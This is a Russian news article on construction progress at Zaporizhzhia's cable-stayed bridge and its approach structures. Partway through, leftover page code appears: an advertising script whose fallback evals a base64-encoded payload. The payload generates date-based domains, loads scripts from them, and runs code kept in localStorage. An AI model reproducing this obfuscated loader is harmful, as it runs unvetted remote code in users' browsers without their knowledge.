В Запорожье на вантовом мосту уже смонтировали две секции низовой части.
Об этом сообщается на странице Службы автомобильных дорог в Запорожской области.
На подходе — монтаж третьей секции, которая уже укрупнена и ожидает транспортировки на пирсе стройплощадки в районе Кривой бухты. Кстати, на стапелях в Кривой бухте уже завершили уборку десятой секции из двенадцати необходимых.
Как выглядит подготовка 720-тонных секций моста в Запорожье (ФОТОРЕПОРТАЖ)
Секции доставляют со стройплощадки и монтируют с помощью плавкрана LK-800 ( «Захарий»), который кроме монтажа секций задействован и в транспортировке и установке временных опор, а также монтаже ригелей временных опор. Таким образом, на прошлой неделе было смонтировано ригели опор МО-2н и МО-3Н.
Работы ведутся и на верховой части. Там мостостроители уже завершили монтаж плит тротуаров. Сейчас выполняются работы по устройству арматурного каркаса и монтажа опалубки пилона. На очереди — бетонирование третьего захватки на «первой» и «второй» «ногах» пилона.
Скоро монтировать ванты: строящийся в Запорожье мост глазами пешехода (ФОТОРЕПОРТАЖ)
Продвигаются работы и на низовом части балочного моста. На сооружении № 4-н выполняются работы по опусканию пролетного строения на опорные части. На подходах к низовой части балочного моста — сооружениях № 3 и № 5 — мостостроители готовятся к бетонированию следующих захваток проезжей части. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
На подходе к мосту со стороны Хортицкого района (сооружение № 3-н) выполняются работы по армированию 2 захватки (38,5 п.м.), а также по монтажу опалубки 3 захватки (42 п.м.) плиты проезда. На подходе со стороны острова Хортица (сооружение № 5-н) уже выполнен монтаж опалубки VIII и IХ захваток (длина 53,0м) и пока выполняются работы по армированию плиты проезжей части (VIII и IХ захватки).
На путепроводе над транспортным кольцом, на острове Хортица (сооружение № 6) также работы ведутся одновременно на верховой и низовой частях. На низовом части выполняются ремонтные работы на плите проезда пролетного строения и выполняется установка анкеров на тротуарах для барьерного ограждения. На верховой — выполнены работы по устройству деформационного шва на опоре №14-6в.
На подходе к вантового моста со стороны острова Хортица (сооружение № 9) ведутся ремонтные работы на плите проезда пролетного строения, идут работы по устройству антикоррозийной защиты главных балок и выполняется монтаж опалубки и армирования 2 захватки (18,0 п.м) плиты проезда.
На подходах к вантовому мосту со стороны Прибрежной магистрали — а это сооружения № 11, № 13 и № 14 — выполняются работы по нанесению гидроизоляционного слоя и устройство гусасфальта на проезжей части и тротуарах.
Напомним, в Запорожье верховую часть вантового моста планируют открыть до конца 2021 года, закончив также строительство балочного моста через Старый Днепр. Низовую часть мостостроители намерены закончить в 2022 году. (adsbygoogle = window.adsbygoogle || []).push({});
Как выглядят ванты, на которых будет держаться мост в Запорожье (ФОТОРЕПОРТАЖ) Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/v-zaporozhe-uzhe-mozhno-uvidet-zachatok-vtoroj-chasti-vantovogo-mosta-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
